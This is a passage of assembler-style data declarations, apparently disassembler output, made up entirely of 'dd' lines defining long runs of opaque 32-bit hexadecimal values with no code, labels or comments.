		dd 68120F00h, 0F7118447h, 71A50018h, 4F3A392Fh,	0A80A3EDAh
		dd 88AB2385h, 1300EF26h, 15A53653h, 0B7271DF0h,	0E9C2860h
		dd 0D8932D6Eh, 0FEC266C0h, 75005537h, 0B6F97ABBh, 599D0h
		dd 94AB068Bh, 351D1087h, 63DB5E00h, 0C4D5D755h,	0DC2707CCh
		dd 3F0C7808h, 0AF97B6E1h, 0EFD6CCA0h, 0CBD98A03h, 0C099C062h
		dd 296873h, 0D4609442h,	0A87FE507h, 0DC7B1800h,	2FCA2CB1h
		dd 42C100F0h, 6F3D92F2h, 0CCF6F8F5h, 0B534B303h, 0A898B73Ah
		dd 3AFE86A5h, 8B820A49h, 0DF02EC1Eh, 20E0DD63h,	4C037021h
		dd 0D63AF94Dh, 0AA92D10Dh, 78C743D0h, 0A5A301D8h, 0F7CDA711h
		dd 70BBD178h, 48001205h, 2D01A1E9h, 3FD737h, 0BF44931Ah
		dd 0D5906716h, 5870C03h, 0A06E0DB7h, 750FE4h, 0DD84A9EFh
		dd 0FE1EA88Eh, 0B401D8FCh, 0ADABF030h, 90CF931Bh, 37AA4Eh
		dd 58FD9664h, 0CE106D49h, 910B9900h, 0F3EC8413h, 125401B4h
		dd 0E5567B65h, 0A4E1CEC7h, 5E67DC92h, 48D78F00h, 21B7F991h
		dd 0E2140036h, 0B6FFBF9Dh, 0E100DC9Bh, 27FAA7C6h, 6519EF6Eh
		dd 2A1BD0CCh, 300EE04h,	5F7B3E8Eh, 47292581h, 7BC118CBh
		dd 10802A7Eh, 0DEA06520h, 5B004241h, 7358756Eh,	6AF62Fh
		dd 3D607BD2h, 783A8815h, 0E729A462h, 0CBC7226Fh, 0C221DC24h
		dd 10D31296h, 4888C49Bh, 0CEDC893Fh, 246D1F22h,	11A422CFh
		dd 0A0EB0833h, 89CE1750h, 0AD144050h, 0F781DD4Bh, 0C9AF3C41h
		dd 50838C12h, 29284A56h
		dd 802228E3h, 14F850C2h, 0AF5F44B5h, 0E4EC51C0h, 3B1723D0h
		dd 9580E98Dh, 0E3B1ADD4h, 0F1006080h, 0FB394A24h, 59999Ah
		dd 5141CFFEh, 6B8877F5h, 807DA83Bh, 9C43E522h, 843267h
		dd 6DFE07BEh, 5FBA802Ah, 2DDF3407h, 0A607F914h,	4E978550h
		dd 398C0066h, 73FC7E3Bh, 6D5CA04Bh, 21010023h, 8B1A5ED3h
		dd 3F6B072Bh, 0F0FD470Bh, 7A970EDCh, 0CC621B00h, 0B40D430Ah
		dd 132E4CAh, 499CF683h,	0BE0E3AD8h, 0AEF80020h,	0FAA1E5C6h
		dd 58041F8Bh, 2C98097h,	45D4F0E9h, 5A850B00h, 6DFBC4B2h
		dd 0E217063Bh, 10CF938Dh, 749F7707h, 0D8F11AF4h, 44F8AB01h
		dd 72D3002Eh, 2A49557Ch, 6A008F2Fh, 710AC798h, 16E8D6Ch
		dd 2DE85ABCh, 24E5ED41h, 0E1002050h, 5E778F3Dh,	1FFFE6A0h
		dd 0C06D6934h, 89CF2301h, 0ED30933Bh, 0AF161A1Eh, 0BDC301E3h
		dd 719082CEh, 9CEA6002h, 1FB1158h, 839A4E81h, 3F1B55Ch
		dd 872E9187h, 0BDA4045h, 6E00F1C6h, 1B6DFC6Ah, 2E9BDE1h
		dd 0DB04F386h, 9C481D9Ch, 5D1F087Ch, 65C07334h,	0C44131FDh
		dd 42CD00D6h, 0D28A8F17h, 0B0E82BBCh, 7C339C00h, 0F76194AEh
		dd 0BE50013h, 0D2D12AEBh, 0F300F403h, 0A522F185h, 307092h
		dd 1AE08D79h, 0B84E56FDh, 6DA17601h, 658BE3B0h,	0F453DCh
		dd 0B5B7C471h, 96E819B4h, 81A3643Fh, 7DEFDC5h, 142032B3h
		dd 0E25200A8h, 72EB8AFEh, 0BA00DB86h, 0FFD49119h, 70C639h
		dd 7A9B42C4h, 0EAA04C8Fh, 6B178500h, 0B5A3AC61h, 0CF6E001Dh
		dd 6A23A6CDh, 8514B6ABh, 1ECCD172h, 5F8336BDh, 0C8A9CF86h
		dd 0EEC74Dh, 2EA00F11h,	8164D42Ah, 0FA49FF07h, 65B1ED19h
		dd 4BCC2BE9h, 29DF0032h, 731F6F90h, 6B002F37h, 7D4FE034h
		dd 3B5BFDCCh, 5EBE09A1h, 18C46487h, 42D6D0B5h, 81F826EAh
		dd 0E0B82300h, 9E4E96B2h, 3F80013Bh, 0DA68F655h, 1F21D89Ch
		dd 0FBC15D01h, 1587ABB8h, 8962E840h, 35E5000Dh,	0AAF439A7h
		dd 270968EAh, 0A54C66h,	0C1B07708h, 3E740215h, 32F74133h
		dd 5A2F9C68h, 0C003490h, 0EF81F23Ch, 9037B243h,	265800C0h
		dd 63A39C98h, 48007F1Eh, 0B2BD07B7h, 0E3D0175h,	9A930503h
		dd 216FD1E1h, 3BB420AFh, 2149E130h, 0F3569799h,	4EF23F4h
		dd 7C6740Ah, 77648089h,	7B48794Ch, 3B5882h, 62D0DA3Dh
		dd 0E491AC16h, 9EED0011h, 56842EF4h, 3104BDBBh,	165E6937h
		dd 0B051F0C0h, 4390005Ch, 0E855056Ah, 0DC3D58A3h, 9E13807Eh
		dd 681524AAh, 35741FF6h, 0CDF240D2h, 553C2307h,	78473D00h
		dd 0C04F79DBh, 89DF1C18h, 54269Bh, 5E1EF4C6h, 0AF809CAh
		dd 86DB2100h, 0D5B410F2h, 2858285Bh, 7D89FE6h, 93C0BE00h
		dd 3C068D77h, 0B63E010Dh, 0F125F8Fh, 0D14020A3h, 0C2F0360Eh
		dd 284180CFh, 7C277E24h, 0CA5C0029h, 48AAD6B0h,	0B207F28Ch
		dd 86518FBDh, 64C3E294h, 13F0D70Ah, 0FCE7843Dh,	27710CFEh
		dd 6C7E8160h, 0F285CC0Eh, 0E1E34E68h, 6058A7Bh,	71728064h
		dd 12B4710Ah, 5B7DEEh, 160301A0h, 0F8281CC8h, 4C03D8B6h
		dd 5D38D282h, 0B736DF4Bh, 5410019h, 6F6B4604h, 0E8A008BFh
		dd 1B016A28h, 0F6AD2247h, 2030C983h, 1A1C200Dh,	0AB29BE00h
		dd 0D5D8DE06h, 40305063h, 252D4091h, 71838830h,	0CD811Fh
		dd 0B608241Eh, 0F6ECF216h, 2636AF13h, 2E46B800h, 4140B3h
		dd 51DB011Bh, 17BDE427h, 60F9F624h, 34C54580h, 3699E7Ah
		dd 0A1E9516h, 0D4F3FA66h, 0BB92001h, 83108C01h,	98A034h
		dd 0B72E94A7h, 5C112F49h, 386F3A04h, 0D4805333h, 0DA1779h
		dd 32AD1EE0h, 1D89A124h, 330DD00h, 0FEC040F7h, 0F642070Ah
		dd 0C3569FA0h, 0E6E8D19Ah, 0DC0019EDh, 0A212576Fh, 737995C0h
		dd 617685h, 0ADD7D384h,	0F953BCDAh, 800FFD39h, 71DFD68Ch
		dd 8F28EAh, 0F325BFFAh,	0DCA72E83h, 8C6D1000h, 599FDE41h
		dd 0EB3F1860h, 3B7F8898h, 0A780C00h, 718F2DB5h,	45E40087h
		dd 0CA541F5Fh, 6B12F225h, 0E4003C4Dh, 0C63EF10Eh, 0BC9002Fh
		dd 0F086E70Dh, 0B81EF94Ch, 0D493EABFh, 0E0E3240Eh, 2C847E5Eh
		dd 7226006Ch, 2B95AC63h, 92245B61h, 0B50E2C1Dh,	0F6536075h
		dd 0DD599Eh, 0A1126365h, 611611B3h, 29DBF400h, 0CE486B2Ch
		dd 301F090Dh, 0B8204381h, 9DC14B38h, 0E93753Fh,	29CEA26Ch
		dd 9ABC001Bh, 307BEA8Bh, 4DB8784Ch, 0A90503F3h,	921AC625h
		dd 8052E040h, 0A8188465h, 23ACD8h, 0E990478Dh, 0C2D7EC12h
		dd 0DC2728C0h, 357709h,	5CCFD0E0h, 126AF184h, 0A33A4000h
		dd 92598733h, 0E4BB00DFh, 84B61595h, 0E1126A05h, 40E32Ch
		dd 669A734Dh, 0EC951851h, 2587A802h, 91823509h,	68A50344h
		dd 0F518000Dh, 30522DA9h, 7B02B55Ah, 0DAFB4838h, 9D9E83A6h
		dd 1FBCC984h, 0E34058A0h, 677BD4h, 7D36A013h, 6899ADBh
		dd 0C7298203h, 0E87E46EDh, 0EAE43166h, 0EA750764h, 0E0FF4781h
		dd 0D7D0A211h, 51E2F609h, 0AC088020h, 15729D8h,	2BDB3C77h
		dd 1BE64Dh, 0F44719h, 0F2010CB2h, 71B74AC0h, 75868500h
		dd 2F384535h, 5E0F03DDh, 8429E22Ch, 6B61A5B8h, 0D47D210Fh
		dd 14F6A0B0h, 133028D7h, 42B13186h, 0CCAC2E98h,	62004CC4h
		dd 0D5DCF2FDh, 1662B6Fh, 0C94D20Bh, 0E0A7FFEEh,	60ADF36h
		dd 9CE516D1h, 6E228280h, 201F913h, 286865F3h, 94800FC8h
		dd 0B34739F7h, 0DAAB2A01h, 2F855F35h, 0CC5391DFh, 0BAF0ECh
		dd 25B6C0F4h, 999862F5h, 0BE024A70h, 0FF930722h, 0C080C32Fh
		dd 0C41BBAh, 0B25E7858h, 53B3C5CEh, 496DDB00h, 4A26941Ah
		dd 3831007Bh, 79E4AED5h, 34E9832Ah, 50007A58h, 0F771D1BDh
		dd 6C5C7EDh, 96BAFA19h,	2C00A82Bh, 33118B45h, 324C654h
		dd 0A8E6BCEEh, 20072A44h, 0B90DF21Eh, 70B850B0h, 20240BA0h
		dd 0AF809A97h, 0FE1FC501h, 1DE84150h, 8096E73Ah, 0A0463FDDh
		dd 24A50Ah, 387407BEh, 9233808Ah, 74900371h, 117AB390h
		dd 26BB500h, 215A2D8Dh,	46F497h, 0A691CAB8h, 7F45CC7Ch
		dd 527EC200h, 0DD1759A9h, 7AC50054h, 0B3FAADCDh, 0D8756EBDh
		dd 0B7020B1Fh, 3B00E0DEh, 0F68CAF23h, 246D7586h, 16FB4Eh
		dd 0B68BDED3h, 0D81D0BC0h, 234F18E6h, 212BA3h, 614D8904h
		dd 81451E7Ah, 7799C088h, 0B1ECFF85h, 5141D100h,	9F1178F4h
		dd 5057006Ah, 87DAAEA3h, 800F564h, 0CFC3E41h, 70C1B7F8h
		dd 507171DEh, 17CFA406h, 0FC35CB2h, 30E1A097h, 259B1049h
		dd 2B48FC30h, 8D395100h, 0AA3F400Fh, 4F83003Bh,	0F5EC34F1h
		dd 7001A10h, 0C1D9DA1Fh, 20B46Bh, 3DB8FFFEh, 0A91EFB83h
		dd 0C0BD0600h, 0A575B754h, 920C3017h, 0F18D7F29h, 2A079E73h
		dd 0D62E7795h, 78C98C2Eh, 79901E4h, 91B38A21h, 44438D3h
		dd 1ED63BC3h, 0EEBC01Dh, 880C6B23h, 0A1173C00h,	0AA52A622h
		dd 8B4F0090h, 4D033E19h, 81FC54FCh, 0BC00A490h,	0E10B955h
		dd 3BEB6EEh, 0DEE6269Eh, 1290CEB3h, 0D5016828h,	63E3BA1Ch
		dd 47E4DAE5h, 8EA4006Ah, 6232318Dh, 890F25B2h, 2C85E0h
		dd 2F2351B4h, 0FAAE0068h, 0B15370CAh, 0C73C4F97h, 389680A8h
		dd 0BDBE0CD1h, 4A7C30F0h, 589AED20h, 2E454900h,	601BAC06h
		dd 0E0AB00A4h, 615C96D4h, 14226229h, 30DB000Dh,	370C2782h
		dd 0B1001347h, 0A2089E79h, 50AB9663h, 0AD900Eh,	0EE6B681Dh
		dd 5EB42646h, 77E5FE00h, 7ABEB84Ah, 789085h, 0D6CF6244h
		dd 0E906F876h, 0D1002B7Bh, 1CC361A1h, 0E6AC9D65h, 0E6BB0975h
		dd 2C800476h, 590358F2h
		dd 0DF407094h, 7B7C1336h, 62EB002Bh, 6ED00942h,	0A9164DE0h
		dd 0C809F133h, 3AF680AEh, 2149B4Ch, 0FB694FAh, 0A440B149h
		dd 0AFB0C9BAh, 8055B53Bh, 0CF31D444h, 0F13B09h,	3A1A119Ch
		dd 0D72579FBh, 6826AA00h, 0C70EE2CDh, 0FF1207A5h, 0C0EDC16Dh
		dd 493B8953h, 58E3EA30h, 38D2669Bh, 4DA834ABh, 0C51E00EDh
		dd 0FFFAE052h, 0B80018B7h, 8E172450h, 4B8ABB98h, 400404CCh
		dd 0AC14C0F1h, 571C91C7h, 79C06699h, 88FF5C38h,	0BBD1005Ah
		dd 0A2BFE9BDh, 0BCA010F0h, 3C00D0F1h, 0FA09632Fh, 1CC0A178h
		dd 8F9E7DB9h, 37E03D7Ch, 959607C5h, 0FD0AB1E2h,	0B869ADD5h
		dd 55689C80h, 2EFDC3Eh,	297E73A0h, 0BC809FB9h, 5EC45426h
		dd 2E143400h, 0C90622AFh, 63A000A4h, 0F71B7920h, 67122844h
		dd 0DC000AB2h, 0F5235DD7h, 0FCD64DBFh, 3E0C6C00h, 4614F457h
		dd 0E6EAF00h, 0C3710A8Fh, 6A241FD6h, 0AE23001Bh, 7B793D8Ch
		dd 32933000h, 0D5CAA050h, 0FB500EFh, 1D1342C9h,	0BC05752Eh
		dd 6F8A179Ch, 83718049h, 0D4E4B0E9h, 39423CD0h,	0B21D72FBh
		dd 75C30090h, 6A130789h, 51017B32h, 9944E822h, 0D9D41BB4h
		dd 7E5A01B9h, 0B0FDF820h, 0A680503Bh, 3C9143D4h, 0A787E88Eh
		dd 79B35CAFh, 4E7FE00Eh, 3F811D5Eh, 0E4044030h,	408DE253h
		dd 0EA03C49Ch, 16134883h, 0BAB70DA8h, 0CBC05B00h, 396484h
		dd 2679C5A5h, 35F1D247h, 23544307h, 4D70BE76h, 0B05BD01Ch
		dd 34A7017Ch, 0D401E16Bh, 0CA76C85Fh, 0B79EE500h, 35403355h
		dd 0D7770039h, 4D9C2165h, 0A90026BFh, 15B93192h, 50D1D6DEh
		dd 268C82Eh, 7C633648h,	0A0C053B5h, 57F6999Ah, 97A32A00h
		dd 3D04EF6h, 0FA297989h, 12A1009Eh, 6050D4Bh, 0F50026EFh
		dd 0C367BCCEh, 844070h,	0C3117A1h, 8BE4AAB2h, 32B4F200h
		dd 0AE695E2Bh, 0DA7C0164h, 9CE32E94h, 9E8C4046h, 8A282368h
		dd 0D0589169h, 0EAF001Ah, 0B7F10DFAh, 0FD460737h, 0D24FB440h
		dd 0F4E03E95h, 0FC008834h, 7752B66Bh, 9C7631h, 0D5066F0Eh
		dd 330E5CDh, 0CECB0D0Ah, 5500B4B8h, 3F5D2E62h, 1C070034h
		dd 9E13646Ah, 0EF5073C6h, 4144FCD4h, 8485775Bh,	430B9300h
		dd 0ADFA2C82h, 83350004h, 0BB333687h, 3709B872h, 8AA4FB5Ch
		dd 0C701C861h, 0FE8BF85h, 0EF972900h, 539BE216h, 63888840h
		dd 5C4315F4h, 0FE00AC3Ah, 5DE0BFFDh, 8CE43B13h,	1B0642Dh
		dd 8D40E4B8h, 2E724F8h,	28F520D8h, 48409901h, 7C215CDEh
		dd 328DC05Ah, 0A0B2E630h, 0DB7A690Bh, 2B2C80C0h, 3D54598h
		dd 0DAADE4B1h, 36C80120h, 0AB2D4015h, 0D3640026h, 0A14396A6h
		dd 0DE995B88h, 3CE218CDh, 40B78954h, 0D8329Ch, 0A308537h
		dd 2F6C5B88h, 0FAA04D04h, 0FF870F55h, 98CA6A80h, 0AA4F65h
		dd 238435C8h, 86003D9Ch, 4F055B5Eh, 9C79926h, 8C5D6861h
		dd 355C980h, 3A4F5022h,	1D625800h, 566AE4h, 0ECA508E2h
		dd 936610A9h, 58026C78h, 9235CC7Dh, 7007163h, 0C062078Ah
		dd 0A9C948D4h, 0B52F6700h, 0F01A5173h, 34370745h, 1FB34BCEh
		dd 382BB880h, 0B41F4F9Dh, 3D0068BDh, 0E2BF1B03h, 0B8580102h
		dd 67EA3DFh, 67C880CFh,	30DE345Dh, 0C9FD020Dh, 3A6AC33Dh
		dd 0AF0392C0h, 0EA8E612h, 7570E897h, 966FE19h, 36241CB0h
		dd 16916080h, 0E40CF89h, 0DC3000D1h, 9AE9C20Ah,	1F0F01D8h
		dd 60FD5CD9h, 96291D92h, 67E701E4h, 5B518AF4h, 0A489FC74h
		dd 0BC05BA00h, 0FD59F9C9h, 984002DEh, 9E19105Eh, 0A4744601h
		dd 0BBE091E6h, 4C842610h, 93E2A800h, 78D13B59h,	5A36007Eh
		dd 43D711DDh, 80E9F2Ch,	0E07097ACh, 14F29B89h, 0DC30022h
		dd 0EA80E53Fh, 0E27AF75Eh, 1630830Bh, 0CAB080A0h, 0BFE1F7Ah
		dd 0E8BA368Dh, 11B72900h, 0C51243F6h, 5C30CE30h, 3DB9FC4Bh
		dd 5E3BF1BCh, 31D16D01h, 0D8980392h, 0E314A8CCh, 0BDF3D4h
		dd 5EF0C136h, 2FE5AB4h,	0C5CB9BA3h, 0E0482327h,	9FF8E125h
		dd 3353B601h, 718C446Ch, 3C90F16Fh, 24020018h, 841F4B35h
		dd 0DD5E002Ch, 0A2576265h, 6A770FAEh, 23D5D800h, 0EDB5DA2Eh
		dd 983A4C83h, 7A07B305h, 10A278h, 0A7ED0B89h, 265B9180h
		dd 178D061h, 418E239Fh,	0FF118066h, 0F77B2C45h,	348CC2A2h
		dd 4BC19AD6h, 335E3084h, 6B12C003h, 80BBA493h, 0E404C8C2h
		dd 3A1E00A2h, 508AACD1h, 2D0ECB68h, 0B202FA41h,	722BC830h
		dd 1FF400BAh, 98C5D516h, 3033FB1h, 0CDAA2F4Ch, 38A601F0h
		dd 972A8869h, 0A8E0D86Eh, 0E2008C90h, 986517EAh, 0F48A7B0Bh
		dd 0A4425087h, 0AA7E4CDFh, 0D881E800h, 0CA1C7010h, 7300D0F6h
		dd 0B72CFD7Dh, 0FE209Eh, 5DC9A16Bh, 2ADF068Eh, 3A5C955Ch
		dd 196700BAh, 0CE4B3CCDh, 2FC10B27h, 4C800B62h,	4759B1EAh
		dd 3D57A003h, 90A16E5Ah, 0CF021Fh, 0A8B00CE0h, 0C0DCD00Bh
		dd 68A76430h, 0B87BF9F8h, 1E174BAh, 5755F181h, 40146825h
		dd 0AF9632D4h, 0E1161700h, 74A1BF90h, 13C57387h, 0B207B8h
		dd 9EA4DA06h, 5038A049h, 0F61000F8h, 60FEC7B5h,	78510056h
		dd 92EFF182h, 31381588h, 1B2807Ah, 9E3E26Ch, 90B954F7h
		dd 82F50ECAh, 4D40947Eh, 15A6DBB3h, 0E917D81Ch,	23615CC0h
		dd 0D1A460h, 0EAF83D2Bh, 315E08DEh, 63D0D600h, 22939570h
		dd 0D4A302B7h, 8929011Bh, 0B8B91C60h, 71138B7Fh, 7CC0C2D0h
		dd 3FEBEF22h, 0A2001D94h, 871A38F1h, 17004FD8h,	0BD1B59E8h
		dd 7E2D9A21h, 0AA2748Ch, 79DFC10Fh, 401F1E94h, 0B666A71h
		dd 0B0F4603Dh, 0CE4D2C01h, 0E6B2934h, 312802C3h, 12AACDD3h
		dd 777A064h, 7D13C80h, 0DBFE5B99h, 920D749Dh, 0B7008470h
		dd 37F148Dh, 0E783673Bh, 60E95FE3h, 40FC617Ch, 4371372Ch
		dd 0BE003C81h, 0CF003621h, 9D62F4B3h, 73004CAh,	7693EE97h
		dd 0A3D8202Eh, 0CD00B42Ah, 0ED5C596Ah, 1507DCh,	7C8C4E9Ah
		dd 0C9FB01DBh, 0EB192605h, 9400CFADh, 8430799Eh, 0F6F0786h
		dd 30F75663h, 1C4C9BD9h, 6696C701h, 6D196E2Dh, 16A2C30h
		dd 7450C3D8h, 303FA17Ch, 0F4003BF8h, 7F72C137h,	0D926E7h
		dd 89FE1C14h, 1F1EBE02h, 8F371D00h, 7E4B6B8Ch, 76711DF1h
		dd 2745007Fh, 2916F898h, 9500697Eh, 0C51CA42Ah,	91B1E3h
		dd 22895949h, 58847E6Ah, 0E440F6EBh, 9805A52Dh,	0D83F760Fh
		dd 1E3858C0h, 903A2C81h, 32538090h, 454B7A2Dh, 0F30E4D12h
		dd 344058A1h, 0E29F5924h, 0C722006Fh, 0C9E3805Fh, 0CC007C45h
		dd 9BEA888Dh, 7E1724BEh, 0C4EA7Eh, 0AA306381h, 94B2E355h
		dd 45CDA900h, 4C12F6ADh, 776D03A5h, 5C3D46Ch, 38F325A0h
		dd 440CD200h, 7FF5A7F9h, 859E17BDh, 0B04020C1h,	1102A0DCh
		dd 3FBCC90h, 0AD5C4830h, 0C6D400A8h, 1E63A110h,	9207AEA0h
		dd 0A7D36E71h, 0A50AB180h, 0D5EC2D78h, 0B8061C00h, 545828CAh
		dd 211C06E8h, 3B0899E4h, 0C4169DE8h, 0D11C20E2h, 1400AA04h
		dd 8AA7E733h, 0F283A0h,	729B9842h, 8FD6C327h, 79481140h
		dd 9711C708h, 7C2A05Bh,	6800FB21h, 0A54BF996h, 39040BF5h
		dd 4C00E066h, 0E441951Bh, 3A60F798h, 33CE23E8h,	0B0420006h
		dd 34D0F910h, 95032159h, 0EB0D4877h, 1F05D7C1h,	5F1159C0h
		dd 46FB1762h, 7EAC452Fh, 4F6C38Ch, 0EF9040CDh, 823D6798h
		dd 7F355200h, 9A05C83h,	0DF3B5C50h, 0D1D92800h,	0F37962CFh
		dd 16F7AA00h, 0C2238E95h, 8D390088h, 0B31EBC61h, 34B05C0Ch
		dd 0DD66A01Ch, 83014A80h, 0E4A69A39h, 3489489h,	1D8F60CCh
		dd 20029100h, 2F05C1E7h
		dd 0A1D105E5h, 38093F4h, 0D1B9A10h, 0F913907h, 37A727FEh
		dd 0AD9D7F4Fh, 2C9E94h,	531FA595h, 60767C1Eh, 11C2084Dh
		dd 201F51FDh, 990ABFB7h, 5E001890h, 92302DDAh, 0C338A187h
		dd 2080E961h, 0A77CBE4Dh, 0C560191Fh, 3CC06228h, 5CCF2C4Ch
		dd 6EC39DF4h, 531BBCC4h, 69027816h, 0C2744DECh,	4510825Bh
		dd 0C11C86D4h, 0BBE50050h, 488DB92Eh, 9B00D6C2h, 0B88B0B2Ah
		dd 4FE4B0h, 891C41DDh, 0FCCDA286h, 1F16A300h, 5C0D5914h
		dd 0B610017h, 2A42677Eh, 0A100C355h, 34DC7921h,	9FF37h
		dd 0E7EE5C95h, 0B48AD260h, 0E039E900h, 0B6D3B338h, 0C730021h
		dd 68D62B2Ch, 4170DB37h, 1D047158h, 0F5C0D102h,	62E08A92h
		dd 0DB540ECAh, 49806D97h, 0A3A92F7Ch, 0CE174A0Eh, 0E35A4364h
		dd 0FC2988C1h, 0CBE1002Eh, 0BED0E28h, 6B00E579h, 8D4B1C46h
		dd 64755Ah, 74B9F1FCh, 650B1BC8h, 110F6F72h, 80D588F7h
		dd 42DE2C2Ah, 0D79CA8D0h, 6C6D0753h, 0FA5E1808h, 104394D4h
		dd 5BDDCF00h, 0DB456739h, 0ACB91A0Bh, 0DAF48029h, 60A756C3h
		dd 457228FBh, 5F07160Eh, 464E977Fh, 8B277D70h, 41C303DDh
		dd 1D1EC059h, 0A1839288h, 6B2B802h, 48145127h, 4A9D18h
		dd 0EC4D1C9Ah, 509973CBh, 0C5D1A203h, 18809FD9h, 311DF491h
		dd 870097FFh, 0E568DB76h, 49528Ch, 2BE8C3C8h, 0CA451A99h
		dd 0F15C8800h, 16939E26h, 6C660089h, 9691818Fh,	415A7844h
		dd 21B6F84Eh, 0EF6EE6BAh, 5469FE8h, 0CCAA8288h,	1898089h
		dd 58094B85h, 204D9CFAh, 9A53C534h, 32F007CFh, 22EFC764h
		dd 960D95Bh, 6B0F82D0h,	0C05119E6h, 0B092E1FEh,	0E7490004h
		dd 370B1D32h, 4B0A8311h, 0E7CB7BCAh, 0E280281Eh, 0D3B59EF5h
		dd 0FE6F072Eh, 406ED41Ch, 32FD52E5h, 20C02A30h,	18DFD680h
		dd 38C74724h, 0E780BD3Eh, 0D6644052h, 9998D400h, 0C4A730A8h
		dd 524180CAh, 0F1E39A18h, 0DC529h, 36E5424h, 1366FB43h
		dd 21C908CCh, 24050797h, 90EBAC45h, 0F53E3F4h, 0C73F7C18h
		dd 4BB6E5A0h, 75BBCF2h,	3666B838h, 69816C6h, 0BAE4F68Dh
		dd 4400C164h, 0E6FF184Fh, 33C7D1F1h, 0D30839EEh, 47A92100h
		dd 0E7384418h, 3E31F040h, 9F00E387h, 1C109AB5h,	0B2000EEAh
		dd 0E5424D5Dh, 7B1A0FC3h, 74AC00A0h, 93DBD8A8h,	0B900AE3Eh
		dd 71BB92B6h, 0C4138Bh,	7EFC08D7h, 0A06B307h, 99940F00h
		dd 0EBB6ECF2h, 0B85D0125h, 0F4407B3Ah, 0B1C5FC23h, 0D914AE90h
		dd 9AE82Ah, 0B9D3E65Fh,	7FA5A697h, 1E670025h, 0EC7A7DF1h
		dd 8B00E1EDh, 9249FB84h, 0E85E9B27h, 2C1C021Bh,	55D7DD3Bh
		dd 0F55940D7h, 70230048h, 15BAD688h, 2BEC6A3Eh,	0C4627F00h
		dd 1E6B280Fh, 0F7A80094h, 0DECA960Dh, 5017869h,	0A6DAFFB4h
		dd 32EF876Bh, 5B213108h, 1757F160h, 5839BE00h, 32B23F80h
		dd 52FA01h, 3B7B4C62h, 11C1966Bh, 0A94BE90Fh, 0B6CC003Ch
		dd 5162DECBh, 90E0CFFFh, 2C540EF9h, 6820464Dh, 9DF3843h
		dd 0CF668C6h, 0A97671h,	8B03C08Dh, 4A3211B2h, 72C8FD00h
		dd 0D2781C5Dh, 0D37138h, 0B4D82CAh, 5AC97507h, 887E9C31h
		dd 0A1D70FFFh, 0FAF090F7h, 0BA19C107h, 0CC78C30Bh, 8EE6795h
		dd 0C95880C1h, 0F2DC156Ch, 65CB005Eh, 0C8BCCED9h, 0E000076Ah
		dd 0DAEBE71Ah, 0EC75C1CAh, 0EEE4F2A3h, 0FFB8130Fh, 0A5AC0022h
		dd 0C12CB28Ah, 86031D00h, 78A2521Bh, 1A3E0F6h, 1C7CBDA7h
		dd 604AD4E0h, 2A00388Fh, 7EC5B4CFh, 0A2B71Ah, 6C2E24C7h
		dd 0DD5DE461h, 0FE093477h, 803A3052h, 0E9CD0554h, 0C987CA9h
		dd 12A3BA9Bh, 4678AB32h, 260E4E74h, 6056286Eh, 0E0BEDAECh
		dd 7C098E8h, 0FDCB8297h, 320320F8h, 750011F0h, 0AEBA09D9h
		dd 0CCC4861h, 882CD5C6h, 921FE520h, 9B015F56h, 8C60B453h
		dd 73F91880h, 0FF404742h, 2C204E64h, 0A212A3A8h, 0A010005Ch
		dd 13DA6B79h, 0BB414060h, 0BD0C9Fh, 0D03DCF43h,	0BCF4E688h
		dd 80080EEh, 0D282C3FEh, 0C00F2B06h, 51074E30h,	0D50EB8E3h
		dd 3ED08511h, 1F1D140h,	3E54C323h, 35875743h, 27ACC608h
		dd 2B29419Eh, 0DC418031h, 0B5289ABh, 0BAA703AFh, 555CC9A5h
		dd 0E8EEFC81h, 6B03E2DAh, 2B43D920h, 73F4C0C5h,	212901DFh
		dd 25984F71h, 442880E2h, 70E0D1CDh, 22B0B3h, 24D7D3Ch
		dd 15F4EF9Fh, 121836ECh, 8B193520h, 0E09000B0h,	458431BCh
		dd 5800ABDFh, 9425AEE3h, 6021C915h, 1ED4208Dh, 0DB1D209Ah
		dd 3098478Eh, 1D80F18h,	0F4CC9D0Bh, 9827B202h, 5400821h
		dd 67D69h, 68EBBBFFh, 0DE9DC39Bh, 0C754970Eh, 0F6E7A3B9h
		dd 6390807Ah, 51573C98h, 0D80410E8h, 0E0384FF7h, 98F00037h
		dd 0A36B6876h, 18A807E9h, 40BA1489h, 2E127CC2h,	5E30A601h
		dd 0C4439B3Fh, 674DFCh,	1DF3B308h, 0FF1E44E5h, 4C56FC0Fh
		dd 0FEBB43FBh, 58B3807Ch, 19B82602h, 0B5AB017Ch, 0C3E15717h
		dd 3ABD80CDh, 0B72C0CDAh, 3F0027B0h, 8D65804Dh,	0FC553863h
		dd 0DE00E14Ch, 3C402234h, 57038A2Eh, 52B60904h,	0A60BF0BAh
		dd 49250088h, 22EFA42Dh, 0CE004674h, 5153A70Ch,	3E79E64Ch
		dd 7B002636h, 20EBAF6Eh, 6A0558F4h, 0C5909D0Ah,	75058500h
		dd 0AB066Dh, 4B60BA72h,	9D5D03E0h, 7A04A600h, 53093A61h
		dd 8A793F95h, 0C9B597h,	85032575h, 0A71CE180h, 107722B9h
		dd 0FD1C5050h, 0E9580005h, 0F7CED6DBh, 0FC0F0A9Dh, 0C0CA72D5h
		dd 1FBDE350h, 0CB7AB7h,	49CFDE2Eh, 0ABEB81F8h, 2FD79900h
		dd 683FC0C9h, 5E7F0ED8h, 94036D71h, 0E80048F0h,	0B29B967Eh
		dd 0C08BEC0Ah, 862FDE78h, 771EE04Dh, 0EBCA7337h, 5625F8F5h
		dd 0B08A009Fh, 95D301D1h, 0B61F747Ch, 0D9400463h, 3E721376h
		dd 42600283h, 7B86A356h, 1FA81448h, 0E0DAD928h,	7F17C738h
		dd 9D88C600h, 67FFF6CEh, 6A9000BCh, 0CD100276h,	0A005765h
		dd 0F63BEFE1h, 2ED480C3h, 0DDAF70h, 0DE644A23h,	910031ABh
		dd 0EA49C426h, 2ED4092Eh, 0A07EF18h, 30A2F9h, 2B96F013h
		dd 2800DFFAh, 850E798Bh, 4C8AD8h, 70DC66Bh, 41DA9E78h
		dd 0A8D39701h, 0B6AB7573h, 9C67F080h, 0A07A3085h, 3C5EC500h
		dd 0A5EE7D6Fh, 2CF0E83Bh, 4D845Bh, 5A2BD470h, 99006EA7h
		dd 60E2F9C5h, 3A8FC6C1h, 92BEFB4Fh, 50FEF887h, 5B26D0E7h
		dd 61001065h, 0C6E8CB4Dh, 0E272DB41h, 4B990EB1h, 9D0094BBh
		dd 10296682h, 502C4C03h, 0E9E7059Ah, 0E9C84884h, 0EA560099h
		dd 0B46171A2h, 590EC3E4h, 20C8154Fh, 0E60D780Ah, 18D9008Ah
